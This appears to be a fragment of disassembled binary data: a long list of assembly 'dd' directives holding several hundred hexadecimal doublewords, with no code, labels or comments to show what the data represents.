		dd 76A9319Eh, 0CC295D6Fh, 0A9E3AED8h, 5E719B75h, 6DA97FCh
		dd 0FE6C9EC3h, 64A17120h, 0DD984665h, 0AF02814h, 8BDEC98Ah
		dd 67850F1h, 8A61FDF6h,	0C73B9216h, 1462D7Eh, 0E726D2FDh
		dd 0A47999Bh, 0D8F5CA94h, 89C81A70h, 0EE0D0E0Eh, 0D0FE019Ah
		dd 50812A54h, 173DAE5Eh, 1399C949h, 5638A729h, 8599BDCh
		dd 0CF87E6FAh, 13E8BE80h, 0C689BD65h, 9538EB36h, 26A53878h
		dd 1688A870h, 0E487DA3h, 5D720836h, 1A442303h, 415AD88Ch
		dd 0C579AE71h, 2B2769A0h, 94499023h, 81F42F7Ah,	0E76C772Bh
		dd 2989B6B4h, 0C897E898h, 4855D449h, 9D91CE84h,	51F43EDAh
		dd 3D707973h, 5BCAB1C7h, 43D8A285h, 92390620h, 9B81E1CEh
		dd 0E5001144h, 9681A7ADh, 0E4BE47F4h, 48DE0282h, 9380EA41h
		dd 0CDDEC273h, 1E88CBFh, 31C29191h, 600E91C9h, 0C56FF368h
		dd 0AF1E9111h, 6C2A58D7h, 2E9F495Ch, 0BE0D567h,	17432418h
		dd 3A0C921Ch, 677F850h,	32064921h, 0C04BB695h, 2366D15Bh
		dd 0E471116Bh, 59CAC6C5h, 0CBB7952Ch, 0BE162073h, 0B526C9F5h
		dd 35180392h, 27EA4FF4h, 0B9EC577Bh, 0E61037D9h, 55052B25h
		dd 0C5ADE4DCh, 4D83E2B6h, 7F00D067h, 5222A201h,	180C2AC6h
		dd 2405642h, 0CACC5B9h,	0A8DABA52h, 0A9FD7D91h,	97381A17h
		dd 2622011Dh, 7D9558C3h, 0BC343CDBh, 0BEDFE5F2h, 49E0DF6Bh
		dd 0DD325FA7h, 0BC4F1E65h, 0A6B98266h, 0BDC8FEABh, 4459E10Fh
		dd 2C9F1EFCh, 7A4F0DA0h, 9DB4D15Ah, 0EF1E9DF1h,	3BAD7AFEh
		dd 0DF39CEA6h, 0FF8E09C3h, 385EDAFCh, 0FA3F956Bh, 0BC12BACFh
		dd 80BC7D19h, 7A1179C2h, 1F4EF5F9h, 44262079h, 0DEEB2A48h
		dd 1C59327Ch, 76CF735Ch, 8D5D6A57h, 0A1E1C2CCh,	3273142Ch
		dd 119124F0h, 0A05C8F9h, 55708175h, 0C09BD32Eh,	729EAEECh
		dd 3F113BD9h, 7EFB23DAh, 38F0690Dh, 0EAB2125h, 85F7DC78h
		dd 0E872BA30h, 0B8C5AF7Bh, 810BF0B4h, 7DE8D5BAh, 992F614Ch
		dd 0AE002D7Ah, 48227363h, 0B0205E65h, 0A6119325h, 7BEFFF1Dh
		dd 86B53AA8h, 1B887CEDh, 0C6901371h, 5378CA94h,	0DBF41112h
		dd 59EB10F0h, 0C86D7DA4h, 59AB7BB2h, 493A1CE9h,	0B1383353h
		dd 0F89A8DCDh, 0A9F7E935h, 0D2882D07h, 0D808F7C0h, 36569183h
		dd 0D82D0E9Bh, 81D193C6h, 0B6B993B3h, 98701453h, 634DDCE1h
		dd 0C44C33E3h, 0D91CA3F7h, 7F64276Ah, 435B8AF3h, 0FD752128h
		dd 0EA3E4C63h, 0DDA2B9E0h, 0CD48D314h, 0B754E4CEh, 671AA4ACh
		dd 0F98C1052h, 5F8854CFh, 32CB805Ch, 85C5D97Bh,	102340A5h
		dd 0BA0EA3F7h, 24FC8710h, 1B0EDF4Bh, 3151AD8Dh,	506C670Ch
		dd 25E8DB6Dh, 0AA6D30CEh, 7604083Ch, 0A9033E21h, 6EC07C15h
		dd 399F5E5Fh, 2535E4BDh, 0C661C9C5h, 0F1C061B9h, 0F05269A2h
		dd 8CF68F6h, 9DA9E687h,	770DBD46h, 26A71245h, 0A98BAEFh
		dd 5CB3508Ah, 48AD7E93h, 0DDC30E64h, 3CC21E88h,	1CA6C23Bh
		dd 0D37A673Bh, 0D31049CAh, 21EBACE8h, 0FDADF33Ah, 32EF15AAh
		dd 91F31ADCh, 2EDA4B60h, 0FAF18657h, 91ECDDE6h,	0FF0B9622h
		dd 7CC8D819h, 1405A415h, 9DB9C68Eh, 39E484A3h, 65473454h
		dd 0CA51EE4Dh, 2D4C9D5Dh, 0F652E493h, 99F85C07h, 2806085Dh
		dd 0BF616E15h, 0C324DCA4h, 0E320FC2Ch, 2AA22274h, 398E923Dh
		dd 9FD41CC2h, 0A6CECC79h, 0C271461Eh, 0D861CE93h, 0FD05581Fh
		dd 0DE46606Ah, 476EBC74h, 3B471117h, 0CC8D0AC1h, 17AFDA5Eh
		dd 9597FACh, 0C6A68A53h, 0EDB848FEh, 2A70EDBFh,	7907A2A5h
		dd 8059608Eh, 3BEFB8EAh, 6BCCDBDCh, 7AB1D3DCh, 71E292DEh
		dd 3A59B3E1h, 0AB0EB2C7h, 0CC5BC1ECh, 17238F42h, 0F63B635Fh
		dd 0F4C7BDDBh, 4270B886h, 0C511A506h, 0F6C3EF2Bh, 2D15EBF9h
		dd 474EB86h, 0DD0E90F6h, 0D93D6B31h, 0EB27D87Ch, 0FD793125h
		dd 0F90F4182h, 1617216Eh, 54B2A4C6h, 97D3016Eh,	3EF314C3h
		dd 0E4737893h, 34472D8Dh, 0E07E1773h, 0E195F484h, 0D485D853h
		dd 7CEC7743h, 1A96CE35h
		dd 214739Dh, 7C0CCCD1h,	9E3A1251h, 7575F5B2h, 0D696C2D4h
		dd 64050A3Eh, 8B4835C0h, 441DF5EFh, 73220644h, 0C493A44Ah
		dd 0D549D4EAh, 2823E9BBh, 90D2E3DAh, 0C496A7F4h, 2A0FF11h
		dd 0B0B4E17Eh, 0DA737B96h, 3615EBC0h, 9579007Ch, 4DC80A94h
		dd 4CA2638h, 1E57D47Fh,	0A725C9E8h, 5F15650Bh, 6D49BAAFh
		dd 0AE1A4A78h, 35283B68h, 0FA77C032h, 207B8AF6h, 4D912E35h
		dd 7B7F0486h, 210D8Ch, 998A3A6h, 0C3CB4ED3h, 0B3E44606h
		dd 2D7ADE23h, 0ADC0BFA3h, 8493BB4Bh, 9D6684E8h,	0D969F678h
		dd 0CCCDFE45h, 0A65D2517h, 0E601B4E1h, 9C797F30h, 0C80E6650h
		dd 176B1FDAh, 3511B405h, 18A17F1Eh, 0E4334C83h,	98E7AB4h
		dd 0C38189ADh, 69799CD4h, 0E80BE5A7h, 20B2C9ECh, 0C3639FDDh
		dd 1BAF7FD5h, 0A5D07B28h, 8FD7BC2Ch, 0D4BEB476h, 6A2CC5A6h
		dd 0ECEE777Bh, 9D573C45h, 0BBA98698h, 5465C73Fh, 6B0CE2EDh
		dd 7AB65771h, 2E6031Ch,	4E7DB0E1h, 9383990Ah, 0B15A74F4h
		dd 140483F0h, 0E7974E05h, 0E0A9EAF3h, 36F0A9A9h, 0F45AA4CEh
		dd 0B1577BAh, 8A2DEB38h, 0FD53F4D5h, 0ABA9CA9Ch, 0AA82BA00h
		dd 2A4AF76Fh, 0F497FDF2h, 0FFEE0EB1h, 869D795Dh, 0E5A4F6A1h
		dd 3B276EBAh, 6E5522F3h, 41DFA68Eh, 0A2629F7h, 17138BDh
		dd 92CA975Ch, 0D91A7079h, 0C3D41102h, 0ADD1F94Bh, 0A6089937h
		dd 3C5F28ECh, 0FC82E9CAh, 2425EBBFh, 0BE5FB538h, 0A911E1D3h
		dd 51490869h, 0CDC1FC9Ah, 0D96CE383h, 47406F08h, 67D84ED4h
		dd 0DC804A5Eh, 56D4879Ch, 667E25EEh, 91C1A583h,	61FF6364h
		dd 0B4FD9D82h, 0C0BA5849h, 1FBCCD41h, 4B442534h, 0C1F23016h
		dd 0B0C7B806h, 0D91DE909h, 97B59044h, 0A0E69D77h, 6507675Ah
		dd 0F0A19467h, 0EDEE688Bh, 0B964A325h, 1A687E17h, 671D19DCh
		dd 0E670D29Fh, 8F75BB96h, 2DA7B530h, 1F3FE665h,	0E94F37Eh
		dd 7CA6F247h, 6872684Dh, 5C562194h, 0B9284562h,	0A5AF8035h
		dd 878A0161h, 495CCE93h, 0BE3CF653h, 83A8C7E9h,	5DCF0B41h
		dd 0CD05A9BCh, 5407AF76h, 0B0557930h, 8BE45BDAh, 0A9DBD5Bh
		dd 8771FFD4h, 5A875A2Fh, 0FEF0BB36h, 4F36F5A9h,	36314ADDh
		dd 0F1D7018Dh, 547F1F23h, 0F1C7F3Bh, 60A60A7Fh,	8CFDFDE3h
		dd 0B26B023Fh, 7C9648E4h, 1E59D980h, 8815556Eh,	2301CE29h
		dd 0E4A9FEE6h, 0E10CFA02h, 0AAE9B2F9h, 9B0EB563h, 0F2D559C9h
		dd 0C6B96B8Ch, 0B3F53473h, 17791F0Fh, 849D37B0h, 30A3F392h
		dd 84B4D3F3h, 99A3F793h, 0AB6D6818h, 0D6DC0B1Ah, 8E0E2AFCh
		dd 9E22BAC6h, 65453DFCh, 15B34E17h, 0BBCF6F9Eh,	0CF952C21h
		dd 0BA0B26ACh, 5B81194Ah, 2B117D96h, 0D0F61088h, 10C3E8CAh
		dd 0F455F3ACh, 0D76A96FFh, 0DD9246E8h, 0BE76C8h, 9AFD973Ch
		dd 0D78D9524h, 376B4EB1h, 0E0B9FAE5h, 4F9A2C13h, 0FDEBDF20h
		dd 0FB435BEAh, 9385ECEEh, 5FEC49B4h, 6101C745h,	610866DFh
		dd 49CE85ABh, 9781C22h,	3C26556Ch, 7CAAA0FFh, 0D99813CDh
		dd 2AD94A62h, 0C42E83B7h, 4400BFF4h, 87E6561Ch,	2CEDDAA0h
		dd 0AA318DA1h, 359127E7h, 344BAEBh, 55CD1053h, 0EC27F0DDh
		dd 0A5C355D5h, 9B61A138h, 1822A677h, 0F11E35B1h, 15D7813Fh
		dd 5AC642h, 27C4D1D3h, 0A9961732h, 0DE7C7752h, 0AF1646D1h
		dd 580C3CB8h, 5041692Eh, 16928279h, 8B87D127h, 967A970Bh
		dd 0C1ADDD35h, 4EA8520Dh, 0C8291DD2h, 0FD5D4815h, 0FB405E0Ah
		dd 0E4C5F2C1h, 0E2DB9A21h, 859D752Bh, 0B912370Bh, 0BE52D804h
		dd 8D43526Ah, 9315C008h, 17447A10h, 7EA9E301h, 77133B10h
		dd 1A00839h, 8E175682h,	0E0DF0257h, 50FA63F6h, 0A15EA38Fh
		dd 3DE05404h, 0AAF965B5h, 0ADC31113h, 6F8378B6h, 0FD15F7CEh
		dd 9C3A8AF5h, 0F7A89C41h, 72D84AF9h, 0CBF9DC9h,	9B43FD09h
		dd 5EDBFB25h, 7B813ADCh, 940E4B84h, 33F6058Eh, 0D1D78459h
		dd 4B1C5D03h, 0FDF7AC3Eh, 39E12A69h, 2AC0CF8Ah,	0B45DEC5Ah
		dd 0A0FCFB70h, 72A8322Ch, 8684F577h, 0BDFBC9EAh, 0F84E4D54h
		dd 5BB1C606h, 0CBF4BF0Ch, 0FD8E87D4h, 89C21CCCh, 0DB032058h
		dd 7442934Dh, 86241751h, 4D7B6530h, 60F13CD7h, 592E32E3h
		dd 19394897h, 116FC36Ch, 321F52F7h, 0C441BD02h,	94A55C78h
		dd 3D152AA1h, 0E0598723h, 8EA973CCh, 0DF913E17h, 464CF739h
		dd 0E31112D2h, 210D1291h, 0F3C46096h, 0BA4FD618h, 0F5ED02E8h
		dd 4B3429D0h, 0CC6CB3E6h, 109AAD8Eh, 0C4F44969h, 77142388h
		dd 0E9B1307Dh, 2AE665E6h, 655308E9h, 0A7A8273Ah, 7ECBB6CAh
		dd 28CCF578h, 81E44B89h, 0DF16997Eh, 6D675B4Bh,	1790DF08h
		dd 4343B6D6h, 69C94744h, 0CE3DF07Bh, 0F74E1B27h, 0B55EA6FBh
		dd 15487DFDh, 6387EA64h, 0AC608219h, 829F7303h,	0A7022ED0h
		dd 0C71187D3h, 597227D6h, 0E99D0CE2h, 0E88F86E7h, 2D61EE6Dh
		dd 0BE6E24A3h, 9FC7D964h, 0E4E6F895h, 5FDFA560h, 14B01647h
		dd 0BC7531BBh, 0C543396Eh, 3B7B9B58h, 0BB187477h, 655C1B40h
		dd 6602E32Ah, 0EA7AEF1Ch, 0E1569F02h, 863F8B36h, 7613CDBh
		dd 7EFE787Dh, 42C3CD3Ah, 0D0D7D467h, 0A6B5567Ch, 11BA9E67h
		dd 0AFB33A46h, 26A7E95Fh, 0F6996669h, 0B2A4562Ch, 69C1B307h
		dd 0DA897271h, 810F809Dh, 72C8A91Fh, 73580436h,	40EDDD68h
		dd 0DCDA28D5h, 9B007AA9h, 7190C6E5h, 0BDAE1C5Eh, 884B39E6h
		dd 1E63C1D1h, 0E619D44Eh, 0ABA23AC9h, 0DA58A561h, 91EEB768h
		dd 0CFC1715Dh, 949F5A31h, 6C60B88Ah, 4BA6E377h,	2093931h
		dd 0E2BD2D22h, 9F2BF98Eh, 0D9B154D8h, 0ED39C674h, 54CD98F4h
		dd 2750188Ch, 19FA23B0h, 925EAD3Ch, 9255AF8h, 0AACF1BAh
		dd 3F6BA54Bh, 0F7D0D67Ch, 0A7958B7Fh, 0B699EA5Dh, 77C9FE37h
		dd 0CB40ED3Dh, 0B71FA13Bh, 35066C07h, 61FAD205h, 0F4FA1h
		dd 2DFD2604h, 3F64E5DFh, 473CB028h, 3A39B443h, 0E335625Bh
		dd 0C1F828Bh, 0D6EDD5E4h, 0E5B266B7h, 50405C51h, 5D957CBBh
		dd 0AEEB8BFDh, 0AC7BEE27h, 9C2F8375h, 61BAF389h, 15FC3972h
		dd 5D7050D0h, 9DAB5F90h, 0C66E5B09h, 7FDFB682h,	0A873A0D5h
		dd 0EE197D79h, 5F59DC7Eh, 0DAF359A2h, 70DF37A2h, 6D8E0D59h
		dd 3B004FFBh, 60704095h, 4FED8B55h, 0C496313h, 42B8750Bh
		dd 7FF8B471h, 443A4CF9h, 57E379FAh, 12515362h, 0FB14FC3Bh
		dd 6AE90D02h, 344D8D2h,	460D8FADh, 0FB4987BBh, 9165189Dh
		dd 0C6D7E2D4h, 3105C6D5h, 6412180Dh, 8402B7DAh,	74033997h
		dd 0AEEAA62Eh, 870C73B3h, 0EB91671Eh, 95B9F710h, 8F291899h
		dd 558B4F3Dh, 0E264140Dh, 0E965B68Eh, 5E9DFBB4h, 509AC74Bh
		dd 974838A7h, 0E9B07CD4h, 0B9403AEFh, 0FB4F983Eh, 5720D420h
		dd 8F97594Bh, 0CDCBB9A1h, 9B5146h, 8CD08244h, 1D5012BEh
		dd 0C1DA0AEDh, 0B8B8BF24h, 6B94AE01h, 0A73057B0h, 37146E99h
		dd 0EB671FB7h, 7F5666FDh, 86A86272h, 0EB688A04h, 984255A1h
		dd 457B6A71h, 99BEE97Eh, 4889CB64h, 0D54A9F7Ch,	290E70FFh
		dd 0E12C85EBh, 7BD91B84h, 652AC07Fh, 0D160DAh, 1D83A065h
		dd 7A67BB1Eh, 194E6F94h, 29489CF5h, 0B1371E2Bh,	65814F25h
		dd 0BE9D99E9h, 96721589h, 5D6709A8h, 4DDC5106h,	0B4B2ED43h
		dd 0FEC4E907h, 0A2AD3AC7h, 0DAB6B236h, 0E0EE4E8Bh, 163ECE7Ch
		dd 74B439A8h, 1C35D72Dh, 2603F33Fh, 9D0D603Bh, 0C565DF59h
		dd 2195BDCAh, 0B41E1A03h, 0D6C893B9h, 29E94540h, 0E15DD3AEh
		dd 1F10429Ah, 0B2A87186h, 9B7DB1Ah, 2FA6A0FCh, 69D16313h
		dd 3BBABCA6h, 0C56DB169h
		dd 0C4AF9490h, 0BE84F9CCh, 6C50D2B5h, 0D1BDA52Ch, 0CD52EF91h
		dd 0C48EC963h, 6C7995CCh, 780CCB84h, 2E58C876h,	4419ACFDh
		dd 217DF46Ch, 2FE87F55h, 82041532h, 8A438FE3h, 0D55AD903h
		dd 2BEE6DB3h, 259EE42Ah, 60D79BB4h, 211A87BFh, 0C202CF35h
		dd 4F394E9Ah, 0F9FD1637h, 0AD51F908h, 586B22D8h, 0ED35C555h
		dd 10FE6933h, 6AE6E24Eh, 64795F1Ah, 44B2FA3Fh, 8E081EE9h
		dd 0ADBFF401h, 845B639Bh, 4B4B6B69h, 62B13E2Fh,	4DED9405h
		dd 0E991B7C1h, 6DED9E59h, 0B5A7C6Bh, 6F4ABB97h,	0E6DEF0E8h
		dd 0E399D552h, 24F1FC58h, 7EC6D47Ch, 0B080DEF0h, 23814FB2h
		dd 0BBA4F9ACh, 0F3E18EF1h, 2C5F2712h, 0E9F01483h, 1AB4CE0Fh
		dd 0D7F17F0Dh, 22F90FC1h, 4CB65BF2h, 0B76354C1h, 7B77C77Fh
		dd 3B259F1Bh, 0C54DC02Bh, 976591FEh, 261A17A0h,	68164F6Ch
		dd 0BC9B7B8Ch, 0AD5F8002h, 0BE65C7B2h, 28F90436h, 0C9438D53h
		dd 7762D27h, 0D9EAA79Ah, 2B135E0Dh, 0E1AE4917h,	657381A2h
		dd 0B4FA9DB3h, 27ABB86Bh, 11309822h, 5160BA64h,	5E3305B6h
		dd 0B05AEC20h, 0E2FF293Dh, 0B3602727h, 51AC5C3Ah, 21779F62h
		dd 0DDF2ADE8h, 0B271D6D3h, 0E6C17C28h, 0E86C02E0h, 0E657DD27h
		dd 93FDCCFh, 94775E98h,	7C06C00Eh, 6C3DE544h, 16204A84h
		dd 0F4FDBCF1h, 0A333CC92h, 0D5741FC1h, 0EC471BCEh, 0A9D038A5h
		dd 0ED55778h, 0B2F9024Bh, 0D1B32B77h, 2C286017h, 865FA0A1h
		dd 0A91C6913h, 0A996049Ah, 1A9CEA28h, 78CAFA4Bh, 3252DDC5h
		dd 0EA16BD24h, 6A7D0909h, 4A223BB5h, 4A068E6Ah,	4BDBFF8Eh
		dd 0E81A8F79h, 59F026B3h, 0F2CFCC17h, 0E93526EFh, 0CB2307E6h
		dd 0AB7183E8h, 0E132937Ah, 4689C140h, 52834D4Fh, 0ABDEABEh
		dd 437F578Eh, 50011BE7h, 0C9C7D3D0h, 6182D059h,	38B75B34h
		dd 0D48D78C2h, 2DF5DA58h, 77BC47C8h, 73D0BB39h,	8DBDC1A3h
		dd 0CED39B8Ch, 0AF639696h, 7C6D745Fh, 0EDC9A0C1h, 347D4995h
		dd 7CCB71C7h, 909131B7h, 78E4FA3Bh, 0F0CC9613h,	4E56A615h
		dd 0B98C672Eh, 0F9FD5E59h, 5AC8AB07h, 0A54D4012h, 0C064B94Ch
		dd 0F3029B68h, 0C3C40246h, 9236EC5Ch, 0DE22DCB5h, 7DA121A4h
		dd 0E615F7B5h, 7D661C7Ah, 0F0D6F5C7h, 1DEB85FBh, 61ABC77Eh
		dd 76289465h, 0BC87386Bh, 7C7C3Bh, 1ADA8177h, 0D5C0053Eh
		dd 0DD42475h, 29C4ECB0h, 3FE630B1h, 9E95D2F3h, 4890C6C4h
		dd 27B2F337h, 0C5DADE54h, 6ABE905Dh, 0A75D674Dh, 0BE639D19h
		dd 0F1B1D490h, 3A170517h, 3271E000h, 409FC55Fh,	0A6974C41h
		dd 0E604443h, 9776743Dh, 0F9F374ACh, 8474E1E0h,	92DB8617h
		dd 0D2F6AF9Dh, 1142992Ch, 22F9786Fh, 0A776D0DFh, 3C5C713Ch
		dd 5C0D9145h, 0DF712DE4h, 9E1FA024h, 52F5DBC3h,	922CA958h
		dd 49CA7A5Eh, 71463577h, 8D8BFFA9h, 0C19E7A11h,	1DFCB417h
		dd 7AD9675Dh, 0AFAF168Bh, 0ABC7C95h, 0BF199533h, 67BA3545h
		dd 0B3FA0C2Bh, 78360F11h, 0B1801FAAh, 38313BA0h, 0B39A5BCBh
		dd 10B40CF8h, 771AD8ABh, 1E5C5FD5h, 0F2EB5AC2h,	6D6E23BEh
		dd 8F8F7F00h, 78F8256Ah, 0B618AE88h, 0B57A1291h, 40281EBh
		dd 0AE78BFB9h, 109C63F4h, 731E8D91h, 819540F8h,	6E91083Ch
		dd 32684036h, 72BD72EBh, 0CDB0F2C8h, 0B2435B72h, 0F4E77ED9h
		dd 0A612EEFAh, 6512FD13h, 0AD48A8F4h, 721C9A4Eh, 64240E7Dh
		dd 54373C65h, 0B32635Ah, 0D90494BCh, 20D8DB6Eh,	1A892A31h
		dd 0B417B510h, 677589F3h, 0D3A1392Fh, 0BD90F50h, 146B885h
		dd 7694C8Dh, 0D7213DCBh, 0A4B72E1Dh, 8C24459Bh,	1F7A09FAh
		dd 9C59DD03h, 60353022h, 50996BCh, 635638B0h, 3304CCE8h
		dd 0CD3590D4h, 0D2F0AC10h, 8CC98B87h, 0C3C1EB83h, 7D0812DEh
		dd 0A1C96FD9h, 0E8BE79AEh, 83F63B72h, 465F7714h, 80EEB657h
		dd 6586828Dh, 9F8CD1B2h, 76A0A462h, 1F7AD6B4h, 800E2249h
		dd 39D4955Bh, 13FBA2FDh, 35C354A2h, 1F0D01A5h, 8D5F08F4h
		dd 3B1FF4E7h, 0E4B07503h, 0F2A13C57h, 0BE6FADD0h, 0ADF7C581h
		dd 7F86F910h, 53EBCC01h, 0EC73EBAFh, 54D3968Ah,	6B961C20h
		dd 8C42EC94h, 0F3E02317h, 305BB0E2h, 4AE5F605h,	9FCBC400h
		dd 0FF04055Eh, 2507130Bh, 0C0A83692h, 0D3E43CDEh, 7D1C6019h
		dd 1E8F161Fh, 2029394Ch, 0C68E0ACAh, 0BDC2F610h, 3A25DA62h
		dd 5D4DDF2Eh, 0A7AEC757h, 0F0546555h, 0A37441BDh, 0B8FDA60Bh
		dd 80B48053h, 7F0C3427h, 0BE39DFB3h, 0DB1704D7h, 2C6D9EF8h
		dd 0AEFEBE01h, 8F603DC0h, 0BCC7F887h, 0A15B8E1Ch, 0DC4690E8h
		dd 9FEEB810h, 72F197FDh, 54386090h, 8299C8B4h, 93BBFDB0h
		dd 0A9E8C9DAh, 0E58C212Eh, 5610A861h, 9C684F11h, 0ACACF830h
		dd 33D1D614h, 742758E9h, 9417F0FAh, 0C08DEECCh,	0C779EE2Ah
		dd 59189CA5h, 7695CE4Bh, 2C5FF1E7h, 76A3656Ah, 838CF43Dh
		dd 9B5DE7B7h, 52535F59h, 7663E2Eh, 9E195DFCh, 0FCF079AEh
		dd 846E896Fh, 0C2670667h, 6DD121F8h, 90821FBCh,	0A25FDB15h
		dd 0F9927A67h, 0FD3A994Eh, 0CBD760F8h, 0D8EF90DAh, 0E4512DBEh
		dd 0BD1330B5h, 5881373Eh, 0DEE89A9Bh, 0FDACC00h, 53F93C17h
		dd 30499A44h, 1010DDA2h, 0CF20714Fh, 5E59FEC3h,	12B89226h
		dd 4670548Ah, 7E79706h,	4860ED5h, 0D79CBE0Ah, 5C3BDC7Ah
		dd 0E3862A70h, 0E415D1B8h, 0A22243E1h, 0F0FE922Bh, 880227DFh
		dd 7EECDD59h, 73828202h, 9A7B11E3h, 0C09BEE33h,	7B8CCB98h
		dd 0BCBD361Eh, 52BCB81Fh, 0E6C754Dh, 70ADE787h,	6CE5320Dh
		dd 1565AE0Eh, 42EBD5FEh, 0D6FF23CFh, 245CA025h,	0C33D0B5Ah
		dd 2E6E7BEAh, 0D6F5E0D0h, 0A9763939h, 0B558C96Bh, 6357158Bh
		dd 1D03250h, 9E21DCDAh,	0A58BBCA0h, 9B68DA52h, 64B09087h
		dd 6A8091B3h, 5D5361A2h, 310B828Fh, 6B057956h, 3EF6154Fh
		dd 9D21DCF0h, 0D971F780h, 47DD4DC6h, 0C587AC7Eh, 78A6A25Bh
		dd 14ED44C2h, 0F7F8DCC8h, 3AC58197h, 0C7460430h, 6312C646h
		dd 0CD250A2Dh, 1F60EC72h, 1188C958h, 0DDFD34BAh, 0C0BEB660h
		dd 590DA370h, 0B32883CBh, 0A85F31BCh, 0C91B5B7h, 0E4520E5Bh
		dd 0E42D2E8Bh, 6A1871F4h, 0C45088BFh, 5EA3F26h,	409997Fh
		dd 0EFD19D53h, 97952F7Dh, 0E775AC78h, 1D7EB1D4h, 37BD1A7Ah
		dd 0D8944214h, 18379F0Bh, 2750B8DEh, 0BA27FF1h,	4BE37B98h
		dd 648E5FCAh, 0D6970468h, 0E9AF4556h, 77A4E369h, 1BB3BC86h
		dd 0F3808B25h, 29489684h, 3E399E7Fh, 6A622529h,	0AF1366C1h
		dd 355FE35Ch, 3D86DE57h, 640A90FDh, 0DD60C68Fh,	696154B2h
		dd 7C8B0C53h, 90B13B84h, 57777A6Bh, 8FC48464h, 0EDAEC2F1h
		dd 0E56118EAh, 2365A2A8h, 0B3873A79h, 31E6A3Fh,	0AD6AB1Ch
		dd 242CC957h, 7B1BB9E8h, 0BF8D9F45h, 0F0648874h, 0A31541F0h
		dd 0FBF6D85Fh, 0A279D465h, 0F843D260h, 3D5D10C1h, 0A6E9F654h
		dd 117BFB6Fh, 0BA8BA10Dh, 0F4080185h, 75ADAB2Fh, 56CD752Ch
		dd 94B6DA54h, 0F0EC8F1Ch, 0CD70B182h, 44D9C2E3h, 44CBA736h
		dd 77D2B544h, 0EB57B512h, 7DF9E4D9h, 0BD5A49FBh, 579A19BCh
		dd 0FF34D7ACh, 225765BFh, 2CA1CD6h, 9D525A42h, 7ED8E2EBh
		dd 4C82FE14h, 6EA554D6h, 4F2B9FCCh, 0D7411790h,	3CC32C75h
		dd 6B551540h, 0C351AA6Eh, 0A2313BCEh, 196DD31h,	9244F1CDh
		dd 73014BC0h, 9855FF9Fh, 8A8BBBE1h, 2423549Bh, 0DA43CD42h
		dd 7FD657F8h, 4F01A81Eh, 0E3B369C9h, 41AB6D00h,	86FE4B93h
		dd 86A00D17h, 11915950h, 29163E80h, 6EB56A39h, 2B8511FFh
		dd 45536C97h, 0E0A4C761h
		dd 0F0D72513h, 0ABB708FBh, 7127E78h, 98F56DD0h,	40678047h
		dd 5A3DAC33h, 0D051CE16h, 0C0B3EBBEh, 8D751E89h, 0DA39A316h
		dd 0BC786422h, 6CE91A8Bh, 88C1F27Fh, 85657927h,	650D049Fh
		dd 416B97FFh, 7B8D8708h, 3E05AD7Eh, 4788926Dh, 42F26CC9h
		dd 4E5E3EB4h, 98EFE91Eh, 0EAF3DF9Ah, 59DFE427h,	0B9A29D0Ah
		dd 82DFAEF2h, 8322CDB1h, 0FEC6223h, 0D3FA26E4h,	0C3CA9DF2h
		dd 5E435438h, 0B40A9E0Bh, 0DCE71273h, 2589F8D1h, 0AA2CCACEh
		dd 0E33EA8D1h, 4241F07Bh, 84BD0688h, 0B4411F8Ah, 0A758FF21h
		dd 6EB72C0Dh, 59A3A3E5h, 65A21910h, 3794CD9Eh, 0E5AEC782h
		dd 3809259Ch, 0C5E55296h, 27F678D9h, 0D916AB32h, 84BBA210h
		dd 28193AEEh, 0DBD9E1C9h, 0F3E1C3B6h, 0C7C20BABh, 9106A0A4h
		dd 0A2A417A4h, 9D5EE1C6h, 0CEE153ADh, 8ABB1FE7h, 8F00D323h
		dd 0ACADCA85h, 0DEDB7CCFh, 0A58AB842h, 12B01E6Eh, 0E93D0569h
		dd 6F1CB64Dh, 95273870h, 0C0DD64C7h, 85453418h,	13BA01A8h
		dd 0B73C0D47h, 0F29E01C4h, 78F6ACB7h, 26ABD829h, 51D077EFh
		dd 3ED71A3h, 0BA63939h,	6553C79Eh, 27BFC244h, 563B1389h
		dd 0E8728069h, 0FEC504E8h, 0EC245664h, 6F05DE46h, 18618B73h
		dd 0B07D8D6Dh, 0A73121D4h, 0AED904EAh, 3CB3E2DEh, 0F9BF6764h
		dd 918A65D6h, 9F0D03C5h, 53A35D13h, 0D5E9EF02h,	7E589BC8h
		dd 0F8BF042Fh, 5FAAE653h, 2187F301h, 752A016Bh,	53499BF1h
		dd 3F15D002h, 2BCF3DADh, 0F2A09E33h, 0EA66CB56h, 0E20A4647h
		dd 1C842F21h, 75C221BCh, 72DAA340h, 0E229AF16h,	0AA652644h
		dd 72BDC2B5h, 0F258FFB7h, 0FD25A332h, 43FD6B39h, 0FB7A4C4h
		dd 33D30BF1h, 0ECB4DF75h, 0C67CD160h, 0F109DB92h, 0B6DBE9Fh
		dd 642F1696h, 3C337B34h, 88ECC48Bh, 0B9055BB5h,	55F9E51Eh
		dd 7FBF3F00h, 7C93DA5Fh, 5E6ECFCBh, 3DD728E4h, 0C462EF7Fh
		dd 701C958Bh, 0D23CF396h, 0A75B9FB8h, 0D081539Ah, 83F57460h
		dd 11E6BBD4h, 1D64FCE8h, 0F1BA6C8Ah, 235518DDh,	83456EB1h
		dd 0B7A792DEh, 7FFF7178h, 5BEFDA4Eh, 83C25F15h,	0C4F58931h
		dd 8752D47Ah, 0A31D9764h, 0C3189FAh, 4406C016h,	592EF8BFh
		dd 47570C51h, 6EEB0F89h, 7E00D0C2h, 4BC6A59Fh, 0F5617956h
		dd 160FDE44h, 0B1568489h, 185CA8B8h, 0A309BF7Fh, 60669E91h
		dd 91F30A8Ah, 174E80B4h, 6C141DDAh, 3A2BD071h, 83B81FB0h
		dd 5630CCBEh, 0A3BC592Eh, 11252FDCh, 0AC8DA7C6h, 3FB8ABDh
		dd 8A679D09h, 801350E2h, 596FE5D8h, 6B4A5B47h, 0E3E17B3Dh
		dd 185CDDA2h, 0C93578F2h, 0D39A0C09h, 862BB4F2h, 98DB05C9h
		dd 0F7BEACD7h, 34F0BE15h, 0F449397Ah, 1055D448h, 0FE3E1777h
		dd 7B947598h, 5BA0B21Ah, 94472903h, 4DA362CEh, 0F9E8D88Eh
		dd 0D2F79AAFh, 5AE8041Ah, 0AD35C3FDh, 8E71F106h, 0ED6E9B70h
		dd 2ABE9DA6h, 0F4BF0A69h, 45D03E1Dh, 0BA77685Ch, 0C73DF6E7h
		dd 27EE72Eh, 729861C0h,	8F064A28h, 40B135C8h, 0A76EDD77h
		dd 7F57247Fh, 0D115C49Ah, 0E7FB3621h, 9065D33Eh, 871ECE5Fh
		dd 3231382Ah, 0D9DAAB66h, 4131CD4Ch, 0D34981D7h, 62100A88h
